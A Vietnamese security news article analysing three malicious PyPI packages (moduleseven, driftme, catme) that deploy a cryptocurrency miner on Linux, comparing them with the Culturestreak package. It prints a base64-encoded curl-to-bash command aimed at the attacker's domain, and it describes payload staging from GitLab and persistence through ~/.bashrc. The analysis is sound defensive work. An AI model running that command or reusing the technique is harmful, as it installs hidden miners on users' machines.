Bóc tách gói PyPI độc hại mới khai thác tiền điện tử trên các thiết bị Linux

08:50 | 25/01/2024

Tháng 12/2023, các nhà nghiên cứu của hãng bảo mật Fortinet xác định được ba gói độc hại mới trong kho lưu trữ nguồn mở Python Package Index (PyPI) có khả năng triển khai tệp thực thi CoinMiner để khai thác tiền điện tử trên các thiết bị Linux bị ảnh hưởng. Các nhà nghiên cứu cho rằng các chỉ số xâm phạm (IoC) của các gói này có điểm tương đồng với gói PyPI Culturestreak được phát hiện vào đầu tháng 9/2023. Bài viết này sẽ phân tích các giai đoạn tấn công của ba gói PyPI độc hại này, trong đó tập trung vào những điểm tương đồng và sự phát triển của chúng so với gói Culturestreak.

Ba gói có hại được đặt tên là moduleseven-1.0, driftme-1.0 và catme-1.0. Tất cả chúng đều bắt nguồn từ cùng một nhà phát triển, được gọi là sastra (Hình 1), người đã tạo tài khoản PyPI ngay trước khi tải gói độc hại đầu tiên lên.

Hình 1. Tài khoản PyPI của nhà phát triển sastra

Giai đoạn tấn công

Tất cả các gói này đều thể hiện một phương pháp tấn công chung, vì vậy các nhà nghiên cứu FortiGuard đã sử dụng driftme-1.0 làm ví dụ để minh họa các giai đoạn của cuộc tấn công. Tương tự cách tiếp cận của gói Culturestreak trước đó, ba gói độc hại mới này che giấu payload của chúng, làm giảm khả năng phát hiện mã độc một cách hiệu quả bằng cách lưu trữ trên một địa chỉ URL từ xa. Sau đó, payload này sẽ được phân phối dần theo nhiều giai đoạn khác nhau để thực hiện các hoạt động độc hại. Hoạt động này được kích hoạt bởi câu lệnh “import” trong tệp __init__.py (Hình 2).

Hình 2. Câu lệnh import trong tệp driftme-1.0/driftme/__init__.py

Mô-đun processor.py chứa giai đoạn đầu tiên của payload độc hại (Hình 3).

Hình 3. Mô-đun processor.py

Bằng cách gọi hàm processing(), gói độc hại sẽ giải mã chuỗi sau “Y3VybCBodHRwczovL3BhcGljdWxvLm5ldC91bm1pLnNoIHwgYmFzaA==” vào lệnh shell để tìm nạp nội dung từ URL đã chỉ định bằng cách sử dụng Curl. Sau đó, chuyển nội dung này trực tiếp tới Bash shell, thực thi đoạn tập lệnh (script) như Hình 4.

Hình 4. Chuỗi base64 được giải mã

Các nhà nghiên cứu nhận thấy rằng tập lệnh unmi.sh chứa giai đoạn thứ hai của payload độc hại (Hình 5).

Hình 5. Tập lệnh unmi.sh

Bằng cách sử dụng tập lệnh unmi.sh, kẻ tấn công tải hai mục quan trọng xuống thiết bị của người dùng: Đầu tiên là “config.json”, một tệp cấu hình cần thiết để thực thi chương trình sẽ được cài đặt. Tệp này phác thảo cài đặt khai thác tiền điện tử. Cụ thể, nó xác định thuật toán khai thác, tức là RandomX, cài đặt tài nguyên thiết bị cho hoạt động khai thác và các nhóm khai thác (pool mining) được chỉ định cùng với tài khoản ví của người thụ hưởng. Đáng chú ý, kẻ tấn công đã chọn tắt tính năng “init-avx2” để đảm bảo khả năng tương thích với các thiết bị cũ hơn.

Hình 6. Cài đặt thuật toán khai thác và tài nguyên thiết bị

Hình 7. Cài đặt cho nhóm khai thác

Thành phần quan trọng thứ hai của payload là tệp thực thi CoinMiner. Tương tự như tệp cấu hình, tệp thực thi này cũng được lưu trữ tại địa chỉ “hxxps://gitlab.com/ajo9082734/Mine/-/raw/main/X”. Sau khi tệp thực thi được tải xuống từ URL từ xa và được đánh dấu là có thể thực thi, kẻ tấn công sử dụng lệnh “nohup” để thực thi nó trong nền và đảm bảo rằng tất cả các sửa đổi này đều được thêm vào tệp ~/.bashrc, nhằm kích hoạt lại hoạt động độc hại này bất cứ khi nào người dùng bắt đầu phiên Bash shell mới.

Tệp ELF CoinMiner được truy xuất trong quá trình này không phải là tệp mới đối với cộng đồng bảo mật. Ban đầu nó được tải lên VirusTotal vào năm 2021. Hiện tại, một số lượng đáng kể các công cụ bảo mật trên VirusTotal phát hiện ra payload là độc hại.

Hình 8. Kết quả quét của VirusTotal cho tệp thực thi được tải về

Sự tương đồng với gói Culturestreak

Như đã đề cập, ba gói PyPI độc hại trong bài viết này có thông tin IoC tương tự với chiến dịch tấn công tiền điện tử tận dụng gói Python lừa đảo có tên là Culturestreak, bao gồm:

- Tệp cấu hình để chạy tệp thực thi được lưu trữ trên tên miền “papiculo[.]net”.

- Các tệp thực thi khai thác tiền điện tử được lưu trữ trên GitLab công khai. Mặc dù tài khoản lưu trữ tệp độc hại trên blog của Aldri Terakhir (@aldriterakhir, ID người dùng: 12350673) đã bị chặn vào thời điểm ba mẫu PyPI mới được công bố, có thể chính tác nhân độc hại đó đã di chuyển tất cả nội dung từ tài khoản này sang tài khoản mới là Zela Najo (@zelanajo, ID người dùng: 15638540).

Hình 9. Tệp độc hại chính của gói Culturestreak có nhiều điểm đáng ngờ hơn so với gói driftme

Ba gói độc hại này khi so sánh với Culturestreak thể hiện các chiến lược nâng cao trong việc che giấu sự hiện diện và duy trì các chức năng độc hại của chúng. Một cải tiến quan trọng là việc giới thiệu một giai đoạn bổ sung, trong đó các lệnh quan trọng cho các hoạt động độc hại được lưu trữ trong tệp unmi.sh trên máy chủ từ xa. Chiến thuật này cải thiện khả năng tránh bị phát hiện bởi các giải pháp bảo mật bằng cách giảm thiểu mã trong gói PyPI. Nó cũng cho phép tiết lộ mã độc một cách có kiểm soát hơn bằng cách vô hiệu hóa máy chủ lưu trữ tập lệnh unmi.sh này.

Hơn nữa, các gói này chèn các lệnh độc hại vào tệp ~/.bashrc để đảm bảo tính tồn tại và kích hoạt lại của phần mềm độc hại trên thiết bị của người dùng, kéo dài thời gian hoạt động bí mật của nó một cách hiệu quả.

Kết luận

Một xu hướng đáng chú ý mà các nhà nghiên cứu quan sát được từ ba gói cụ thể này là các tác nhân độc hại liên tục tinh chỉnh các chiến lược của chúng nhằm che giấu và kéo dài quá trình khai thác. Một chiến thuật quan trọng được đề cập trong bài vết này bao gồm việc chia nhỏ toàn bộ quy trình làm việc độc hại thành các giai đoạn nhỏ hơn và phân phối chung theo từng gian đoạn.

Điều này như một lời nhắc nhở về tầm quan trọng đặc biệt của việc xem xét kỹ lưỡng mã nguồn và gói có nguồn gốc chưa được xác minh hoặc đáng ngờ, đồng thời luôn cập nhật thông tin đầy đủ về các mối đe dọa tiềm ẩn.